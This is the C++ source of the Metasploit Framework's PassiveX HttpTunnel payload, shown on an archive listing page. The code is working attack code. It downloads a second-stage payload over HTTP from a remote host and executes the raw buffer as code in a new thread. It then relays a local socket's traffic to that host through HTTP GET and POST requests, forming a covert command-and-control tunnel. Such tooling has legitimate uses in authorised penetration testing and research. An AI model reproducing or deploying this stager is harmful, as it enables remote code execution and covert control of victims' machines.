home *** CD-ROM | disk | FTP | other *** search
- /*
- * This file is part of the Metasploit Exploit Framework
- * and is subject to the same licenses and copyrights as
- * the rest of this package.
- */
- #include "PassiveXLib.h"
- #include "HttpTunnel.h"
-
- // The number of failed HTTP connections
- static DWORD FailedConnections = 0;
-
- HttpTunnel::HttpTunnel()
- : HttpHost(NULL),
- HttpPort(0),
- LocalTcpListener(0),
- LocalTcpClientSide(0),
- LocalTcpServerSide(0),
- InternetHandle(NULL),
- SendThread(NULL),
- ReceiveThread(NULL),
- SecondStageThread(NULL),
- SecondStage(NULL),
- SecondStageSize(0)
- {
- // Initialize winsock, not that we should need to.
- WSAStartup(
- MAKEWORD(2, 2),
- &WsaData);
-
- srand(time(NULL));
- }
-
- HttpTunnel::~HttpTunnel()
- {
- Stop();
-
- // Cleanup winsock
- WSACleanup();
- }
-
- /*
- * Initiates the HTTP tunnel and gets the ball rolling
- */
- DWORD HttpTunnel::Start(
- IN LPSTR InHttpHost,
- IN USHORT InHttpPort)
- {
- DWORD ThreadId;
- DWORD Result = ERROR_SUCCESS;
-
- do
- {
- // Initialize the hostname and port
- if (!(HttpHost = strdup(InHttpHost)))
- {
- Result = ERROR_NOT_ENOUGH_MEMORY;
- break;
- }
-
- HttpPort = InHttpPort;
-
- // Acquire the internet context handle
- if (!(InternetHandle = InternetOpen(
- NULL,
- INTERNET_OPEN_TYPE_PRECONFIG,
- NULL,
- NULL,
- 0)))
- {
- Result = GetLastError();
- break;
- }
-
- // Create the local TCP abstraction
- if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
- {
- CPassiveX::Log(
- TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
- Result);
- break;
- }
-
- // Download the second stage if there is one
- DownloadSecondStage();
-
- // Create the transmission thread
- if (!(SendThread = CreateThread(
- NULL,
- 0,
- (LPTHREAD_START_ROUTINE)SendThreadFuncSt,
- this,
- 0,
- &ThreadId)))
- {
- Result = GetLastError();
- break;
- }
-
- // Create the receive thread
- if (!(ReceiveThread = CreateThread(
- NULL,
- 0,
- (LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
- this,
- 0,
- &ThreadId)))
- {
- Result = GetLastError();
- break;
- }
-
- // Woop
- Result = ERROR_SUCCESS;
-
- } while (0);
-
- return Result;
- }
-
- /*
- * Stops the HTTP tunnel and cleans up resources
- */
- DWORD HttpTunnel::Stop()
- {
- DWORD Result = ERROR_SUCCESS;
- DWORD Index = 0;
- LPHANDLE Threads[] =
- {
- &SecondStageThread,
- &ReceiveThread,
- &SendThread,
- NULL
- };
-
- // Terminate the threads that were spawned
- for (Index = 0;
- Threads[Index];
- Index++)
- {
- LPHANDLE Thread = Threads[Index];
-
- if (*Thread)
- {
- TerminateThread(
- *Thread,
- 0);
-
- CloseHandle(
- *Thread);
-
- *Thread = NULL;
- }
- }
-
- // Close all of the open sockets we may have
- if (LocalTcpListener)
- closesocket(
- LocalTcpListener);
- if (LocalTcpClientSide)
- closesocket(
- LocalTcpClientSide);
- if (LocalTcpServerSide)
- closesocket(
- LocalTcpServerSide);
-
- LocalTcpListener = 0;
- LocalTcpClientSide = 0;
- LocalTcpServerSide = 0;
-
- // Free up memory associated with the second stage
- if (SecondStage)
- {
- free(
- SecondStage);
-
- SecondStage = NULL;
- SecondStageSize = 0;
- }
-
- // Close the global internet handle acquired from InternetOpen
- if (InternetHandle)
- {
- InternetCloseHandle(
- InternetHandle);
-
- InternetHandle = NULL;
- }
-
- return Result;
- }
-
- /*********************
- * Protected Methods *
- *********************/
-
- /*
- * Creates the local TCP abstraction that will be used as the socket for the
- * second stage that is read in
- */
- DWORD HttpTunnel::InitializeLocalConnection()
- {
- struct sockaddr_in Sin;
- USHORT LocalPort = 0;
- DWORD Attempts = 0;
- DWORD Result = ERROR_SUCCESS;
-
- do
- {
- // Create the TCP listener socket
- if ((LocalTcpListener = socket(
- AF_INET,
- SOCK_STREAM,
- IPPROTO_TCP)) == INVALID_SOCKET)
- {
- LocalTcpListener = 0;
- Result = WSAGetLastError();
- break;
- }
-
- // Create the TCP client socket
- if ((LocalTcpClientSide = socket(
- AF_INET,
- SOCK_STREAM,
- IPPROTO_TCP)) == INVALID_SOCKET)
- {
- LocalTcpClientSide = 0;
- Result = WSAGetLastError();
- break;
- }
-
- Sin.sin_family = AF_INET;
- Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
-
- // Try 256 times to pick a random port
- Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
-
- while ((bind(
- LocalTcpListener,
- (struct sockaddr *)&Sin,
- sizeof(Sin)) == SOCKET_ERROR) &&
- (Attempts++ < 256))
- {
- Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
- }
-
- // If we failed to create the local listener, bomb out
- if (Attempts >= 256)
- {
- Result = WSAGetLastError();
- break;
- }
-
- // Listen and stuff
- if (listen(
- LocalTcpListener,
- 1) == SOCKET_ERROR)
- {
- Result = WSAGetLastError();
- break;
- }
-
- // Establish a connection to the local listener
- if (connect(
- LocalTcpClientSide,
- (struct sockaddr *)&Sin,
- sizeof(Sin)) == SOCKET_ERROR)
- {
- Result = WSAGetLastError();
- break;
- }
-
- // Accept the local TCP connection
- if ((LocalTcpServerSide = accept(
- LocalTcpListener,
- NULL,
- NULL)) == SOCKET_ERROR)
- {
- LocalTcpServerSide = 0;
-
- Result = WSAGetLastError();
- break;
- }
-
- // Woop!
- Result = ERROR_SUCCESS;
-
- } while (0);
-
- return Result;
- }
-
- /*
- * Downloads the second stage payload from the remote HTTP host and executes it
- * in its own thread if there is one
- */
- VOID HttpTunnel::DownloadSecondStage()
- {
- // Transmit the request to download the second stage. The stage buffer that
- // is passed back is never deallocated.
- if ((TransmitHttpRequest(
- TEXT("GET"),
- PASSIVEX_URI_SECOND_STAGE,
- NULL,
- 0,
- 30000,
- NULL,
- (PVOID *)&SecondStage,
- &SecondStageSize) == ERROR_SUCCESS) &&
- (SecondStageSize))
- {
- DWORD ThreadId = 0;
-
- CPassiveX::Log(
- TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
- SecondStageSize);
-
- // Create the second stage thread
- SecondStageThread = CreateThread(
- NULL,
- 0,
- (LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
- this,
- 0,
- &ThreadId);
- }
- else
- {
- CPassiveX::Log(
- TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
- GetLastError());
-
- ExitProcess(0);
-
- }
- }
-
- /*
- * Transmits the supplied data to the remote HTTP host
- */
- DWORD HttpTunnel::TransmitToRemote(
- IN PUCHAR Buffer,
- IN ULONG BufferSize)
- {
- CPassiveX::Log(
- TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
- BufferSize);
-
- return TransmitHttpRequest(
- "POST",
- PASSIVEX_URI_TUNNEL_IN,
- Buffer,
- BufferSize);
- }
-
- /*
- * Transmits the supplied data to the server side of the local TCP abstraction
- */
- DWORD HttpTunnel::TransmitToLocal(
- IN PUCHAR Buffer,
- IN ULONG BufferSize)
- {
- DWORD Result = ERROR_SUCCESS;
- INT BytesWritten = 0;
-
- // Keep writing until everything has been written
- while (BufferSize > 0)
- {
- CPassiveX::Log(
- TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
- BufferSize);
-
- if ((BytesWritten = send(
- LocalTcpServerSide,
- (const char *)Buffer,
- BufferSize,
- 0)) == SOCKET_ERROR)
- {
- Result = WSAGetLastError();
- break;
- }
-
- Buffer += BytesWritten;
- BufferSize -= BytesWritten;
- }
-
- return Result;
- }
-
- /*
- * Transmits an HTTP request to the target host, optionally waiting for a
- * response
- */
- DWORD HttpTunnel::TransmitHttpRequest(
- IN LPTSTR Method,
- IN LPTSTR Uri,
- IN PVOID RequestPayload,
- IN ULONG RequestPayloadLength,
- IN ULONG WaitResponseTimeout,
- OUT LPDWORD ResponseCode,
- OUT PVOID *ResponsePayload,
- OUT LPDWORD ResponsePayloadLength)
- {
- HINTERNET RequestHandle = NULL;
- HINTERNET ConnectHandle = NULL;
- PUCHAR OutBuffer = NULL;
- DWORD OutBufferLength = 0;
- UCHAR ReadBuffer[8192];
- DWORD ReadBufferLength;
- DWORD Result = ERROR_SUCCESS;
-
- do
- {
- PROFILE_CHECKPOINT("InternetConnect ==>");
-
- // Open a connection handle
- if (!(ConnectHandle = InternetConnect(
- InternetHandle,
- HttpHost,
- HttpPort,
- NULL,
- NULL,
- INTERNET_SERVICE_HTTP,
- 0,
- NULL)))
- {
- Result = GetLastError();
- break;
- }
-
- PROFILE_CHECKPOINT("InternetConnect <==");
-
- // If we were supplied a wait response timeout, set it
- if (WaitResponseTimeout)
- InternetSetOption(
- ConnectHandle,
- INTERNET_OPTION_RECEIVE_TIMEOUT,
- &WaitResponseTimeout,
- sizeof(WaitResponseTimeout));
-
- PROFILE_CHECKPOINT("HttpOpenRequest ==>");
-
- // Open a request handle
- if (!(RequestHandle = HttpOpenRequest(
- ConnectHandle,
- Method ? Method : TEXT("GET"),
- Uri,
- NULL,
- NULL,
- NULL,
- INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
- INTERNET_FLAG_RELOAD,
- NULL)))
- {
- Result = GetLastError();
- break;
- }
-
- PROFILE_CHECKPOINT("HttpOpenRequest <==");
- PROFILE_CHECKPOINT("HttpSendRequest ==>");
-
- // Send and endthe request
- if ((!HttpSendRequest(
- RequestHandle,
- NULL,
- 0,
- RequestPayload,
- RequestPayloadLength)))
- {
- Result = GetLastError();
- break;
- }
-
- PROFILE_CHECKPOINT("HttpSendRequest <==");
-
- // If we wont be waiting for a response, break out now and return
- if (!WaitResponseTimeout)
- {
- Result = ERROR_SUCCESS;
- break;
- }
-
- // Keep looping until we've read the entire request or an error is
- // encountered
- while (1)
- {
- PUCHAR NewBuffer;
-
- ReadBufferLength = sizeof(ReadBuffer);
-
- PROFILE_CHECKPOINT("InternetReadFile ==>");
-
- if (!InternetReadFile(
- RequestHandle,
- ReadBuffer,
- ReadBufferLength,
- &ReadBufferLength))
- {
- Result = GetLastError();
- break;
- }
- else if (!ReadBufferLength)
- {
- Result = ERROR_SUCCESS;
- break;
- }
-
- PROFILE_CHECKPOINT("InternetReadFile <==");
-
- // Append the buffer to the output buffer
- if (!OutBuffer)
- NewBuffer = (PUCHAR)malloc(
- ReadBufferLength);
- else
- NewBuffer = (PUCHAR)realloc(
- OutBuffer,
- OutBufferLength + ReadBufferLength);
-
- if (!NewBuffer)
- {
- Result = ERROR_NOT_ENOUGH_MEMORY;
- break;
- }
-
- memcpy(
- NewBuffer + OutBufferLength,
- ReadBuffer,
- ReadBufferLength);
-
- OutBuffer = NewBuffer;
- OutBufferLength += ReadBufferLength;
- }
-
- // Query the status code of the response
- if (ResponseCode)
- {
- DWORD ResponseCodeSize = sizeof(DWORD);
-
- if (!HttpQueryInfo(
- RequestHandle,
- HTTP_QUERY_STATUS_CODE,
- ResponseCode,
- &ResponseCodeSize,
- NULL))
- {
- CPassiveX::Log(
- TEXT("HttpQueryInfo failed, %lu."),
- GetLastError());
-
- *ResponseCode = 0;
- }
- }
-
- } while (0);
-
- PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
-
- // Close handles
- if (RequestHandle)
- InternetCloseHandle(
- RequestHandle);
- if (ConnectHandle)
- InternetCloseHandle(
- ConnectHandle);
-
- // Set the output pointers or free up the output buffer
- if (Result == ERROR_SUCCESS)
- {
- if (ResponsePayload)
- *ResponsePayload = OutBuffer;
- if (ResponsePayloadLength)
- *ResponsePayloadLength = OutBufferLength;
-
- FailedConnections = 0;
- }
- else
- {
- // If we fail to connect...
- if (Result == ERROR_INTERNET_CANNOT_CONNECT)
- {
- FailedConnections++;
-
- if (FailedConnections > 10)
- {
- CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
- FailedConnections);
-
- ExitProcess(0);
- }
- }
-
- if (OutBuffer)
- free(
- OutBuffer);
- }
-
- return Result;
- }
-
- /*
- * Method wrapper
- */
- ULONG HttpTunnel::SendThreadFuncSt(
- IN HttpTunnel *Tunnel)
- {
- return Tunnel->SendThreadFunc();
- }
-
- /*
- * Monitors the server side of the local TCP abstraction for data that can be
- * transmitted to the remote half of the pipe
- */
- ULONG HttpTunnel::SendThreadFunc()
- {
- fd_set FdSet;
- UCHAR ReadBuffer[16384];
- LONG BytesRead;
- INT Result;
-
- // This is the song that never ends...
- while (1)
- {
- FD_ZERO(
- &FdSet);
- FD_SET(
- LocalTcpServerSide,
- &FdSet);
-
- PROFILE_CHECKPOINT("select ==>");
-
- // Wait for some data...
- Result = select(
- LocalTcpServerSide + 1,
- &FdSet,
- NULL,
- NULL,
- NULL);
-
- PROFILE_CHECKPOINT("select <==");
-
- // If select failed or there was no new data, act accordingly else risk
- // the fist of the evil witch
- if (Result < 0)
- {
- CPassiveX::Log(
- TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
- WSAGetLastError());
- break;
- }
- else if (Result == 0)
- continue;
-
- PROFILE_CHECKPOINT("recv ==>");
-
- // Read in data from the local server side of the TCP connection
- BytesRead = recv(
- LocalTcpServerSide,
- (char *)ReadBuffer,
- sizeof(ReadBuffer),
- 0);
-
- PROFILE_CHECKPOINT("recv <==");
-
- // On error or end of file...
- if (BytesRead <= 0)
- {
- CPassiveX::Log(
- TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
- BytesRead);
- break;
- }
-
- CPassiveX::Log(
- TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
- BytesRead);
-
- PROFILE_CHECKPOINT("TransmitToRemote ==>");
-
- // Transmit the data to the remote side
- if ((Result = TransmitToRemote(
- ReadBuffer,
- BytesRead)) != ERROR_SUCCESS)
- {
- CPassiveX::Log(
- TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
- Result);
- }
-
- PROFILE_CHECKPOINT("TransmitToRemote <==");
- }
-
- // Exit the process if the send thread ends
- ExitProcess(0);
-
- return 0;
- }
-
- /*
- * Method wrapper
- */
- ULONG HttpTunnel::ReceiveThreadFuncSt(
- IN HttpTunnel *Tunnel)
- {
- return Tunnel->ReceiveThreadFunc();
- }
-
- /*
- * Polls for data that should be sent to the local server side of the TCP
- * abstraction
- */
- ULONG HttpTunnel::ReceiveThreadFunc()
- {
- PUCHAR ReadBuffer = NULL;
- DWORD ReadBufferLength = 0;
- DWORD ResponseCode = 0;
-
- while (1)
- {
- ReadBufferLength = 0;
- ReadBuffer = NULL;
- ResponseCode = 0;
-
- if ((TransmitHttpRequest(
- TEXT("GET"),
- PASSIVEX_URI_TUNNEL_OUT,
- NULL,
- 0,
- 30000,
- &ResponseCode,
- (PVOID *)&ReadBuffer,
- &ReadBufferLength) == ERROR_SUCCESS) &&
- (ReadBuffer))
- {
- CPassiveX::Log(
- TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
- ResponseCode,
- ReadBufferLength);
-
- TransmitToLocal(
- ReadBuffer,
- ReadBufferLength);
-
- free(
- ReadBuffer);
- }
- else
- {
- CPassiveX::Log(
- TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
- GetLastError());
- }
- }
-
- return 0;
- }
-
- /*
- * Calls the second stage after initializing the proper registers
- */
- ULONG HttpTunnel::SecondStageThreadFuncSt(
- IN HttpTunnel *Tunnel)
- {
- SOCKET Fd = Tunnel->LocalTcpClientSide;
-
- // Initialize edi to the file descriptor that the second stage might use
- __asm
- {
- lea eax, [Fd]
- mov edi, [eax]
- }
-
- ((VOID (*)())Tunnel->SecondStage)();
-
- return 0;
- }
-